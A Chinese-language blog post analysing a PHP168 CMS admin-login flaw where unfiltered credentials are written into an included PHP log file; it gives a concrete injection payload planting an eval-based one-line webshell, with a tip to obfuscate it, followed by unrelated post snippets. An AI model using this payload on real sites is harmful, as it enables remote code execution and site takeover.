PHP168 CMS的一次新異漏洞分析

2021-04-13 04:48:36 字數 1421 閱讀 5552

admin/global.php對後台管理的使用者名稱與密碼沒有任何過濾產生了這個漏洞

if( $_post[loginname] && $_post[loginpwd] )

else

}$rs=$db->get_one("select m.$tb[username] as username,m.$tb[password] as password,d.* from $tb[table] m left join memberdata d on m.$tb[uid]=d.uid where m.$tb[username]='$_post[loginname]' ");

if(!$rs)elseif( pwd_md5($_post[loginpwd]) != $rs[password] )elseif(!$rs[uid])else

}我們看這一段,

if(!$rs)elseif( pwd_md5($_post[loginpwd]) != $rs[password] )

}write_file(php168_path."cache/adminlogin_logs.php",$writefile);

}漏洞出來了,我們先看這一句,$writefile="<?php /r/n"; $writefile這個變數總是會用php檔案的"<?php"來開始,也就是說被寫入的檔案一定是php檔案,這樣子才能被include來使用,關鍵點了!!!!為了include,這個漏洞就產生了,foreach($logdb as $key=>$value) 這裡是遍歷迴圈乙個陣列,面這個陣列值並不是唯一由登入時傳入的使用者名稱與密碼產生的陣列,而是由include包含的以前登入過的使用者名稱與密碼一起聯合成的陣列!!!就是因為include這裡包含,當include裡面包含時,如果裡面有"/""(反邪扛後面跟乙個雙引號),那們裡面的反邪扛就起作用了,比如裡面的陣列是

$logdb="/"?>;<?phpinfo?> usual 1184814802 192.168.128.192";

當他被include後,就會變成

$logdb=""?>;<?phpinfo?> usual 1184814802 192.168.128.192";

這樣子就可以b合前面的乙個雙引了

ok,這個漏洞還是比較有意思的,比一般的sql注入等有新意思,所以就分析下了.

好我,明白原理了,大家也知道如何利用了吧?

第一次,我們在使用者名稱與密碼那裡登入分別提交

/"?>;<?eval($_post[cmd])?> ******( 密碼隨便亂寫)

(最好把<?eval($_post[cmd])?>先base64再gzdeflate)

第二次我們只要隨便輸入使用者名稱與密碼,就可以成功拿到乙個一句話後門了

總結: 檔案包含可以讓自動過濾掉反邪扛,是php的bug還是?

ps:此漏洞已經有有公布過,但未公布其中原理,今天無意中看到發現者(忘記是誰了)對此漏洞的描述,加班無聊就分析了下  

記錄一次php連線mssql的配置

在現有php環境中,php連線mssql資料庫失敗,tsql 連線正常。確認問題在php環境上。網上有個同仁總結的很好,參考後解決該問題。總結 對現有php環境不熟悉,很重要的乙個地方是 freetds 沒有開啟支援mssdblib。wget tar zxvf freetds patched.tar...

轉貼 一次性安裝php的軟體

一次性安裝php的軟體 foxserv 開發商http www.foxserv.net apache2triad 開發商http apache2triad.sourceforge.net wamp 開發商http www.e novative.de mysql 3.23.49 phpmyadmin ...

萌新的第一次php總結

php hypertext processor 超文字預處理器 php之父 拉斯姆斯 勒多夫 php的優勢 開源免費,物件導向,快捷性,跨平台性,支援多種資料庫,php中可以嵌入 html,編輯簡單,實用性強,程式開發快 搭建php開發環境 手動安裝apache 1.安裝執行庫 microsoft ...